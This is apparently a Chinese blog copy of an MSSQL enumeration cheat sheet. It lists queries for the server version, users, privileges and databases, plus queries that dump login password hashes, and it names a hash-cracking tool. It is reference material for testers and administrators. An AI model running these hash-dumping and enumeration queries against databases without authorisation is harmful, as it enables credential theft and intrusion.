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最新推荐文章于 2021-06-28 10:50:47 发布

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最新推荐文章于 2021-06-28 10:50:47 发布

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版本：	SELECT @@version

注释：	SELECT 1 — comment SELECT /comment/1

当前用户：

SELECT user_name();
SELECT system_user;
SELECT user;
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID

用户列表：

SELECT name FROM master..syslogins

哈希列表：

SELECT name, password FROM master..sysxlogins — priv, mssql 2000;
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.
SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005;
SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005

密码破解：

MSSQL 2000 and 2005 Hashes are both SHA1-based. phrasen|drescher can crack these.

权限列表：

– current privs on a particular object in 2005, 2008
SELECT permission_name FROM master..fn_my_permissions(null, ‘DATABASE’); — current database
SELECT permission_name FROM master..fn_my_permissions(null, ‘SERVER’); — current server
SELECT permission_name FROM master..fn_my_permissions(‘master..syslogins’, ‘OBJECT’); –permissions on a table
SELECT permission_name FROM master..fn_my_permissions(‘sa’, ‘USER’);

–permissions on a user– current privs in 2005, 2008
SELECT is_srvrolemember(‘sysadmin’);
SELECT is_srvrolemember(‘dbcreator’);
SELECT is_srvrolemember(‘bulkadmin’);
SELECT is_srvrolemember(‘diskadmin’);
SELECT is_srvrolemember(‘processadmin’);
SELECT is_srvrolemember(‘serveradmin’);
SELECT is_srvrolemember(‘setupadmin’);
SELECT is_srvrolemember(‘securityadmin’);

– who has a particular priv? 2005, 2008
SELECT name FROM master..syslogins WHERE denylogin = 0;
SELECT name FROM master..syslogins WHERE hasaccess = 1;
SELECT name FROM master..syslogins WHERE isntname = 0;
SELECT name FROM master..syslogins WHERE isntgroup = 0;
SELECT name FROM master..syslogins WHERE sysadmin = 1;
SELECT name FROM master..syslogins WHERE securityadmin = 1;
SELECT name FROM master..syslogins WHERE serveradmin = 1;
SELECT name FROM master..syslogins WHERE setupadmin = 1;
SELECT name FROM master..syslogins WHERE processadmin = 1;
SELECT name FROM master..syslogins WHERE diskadmin = 1;
SELECT name FROM master..syslogins WHERE dbcreator = 1;
SELECT name FROM master..syslogins WHERE bulkadmin = 1;

DBA列表：

SELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try ‘bulkadmin’, ‘systemadmin’ and other values from the documentation
SELECT is_srvrolemember(‘sysadmin’, ‘sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
SELECT name FROM master..syslogins WHERE sysadmin = ’1′ — tested on 2005

当前数据库：

SELECT DB_NAME()

数据库列表：

SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …

列列表：

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

表列表：

SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable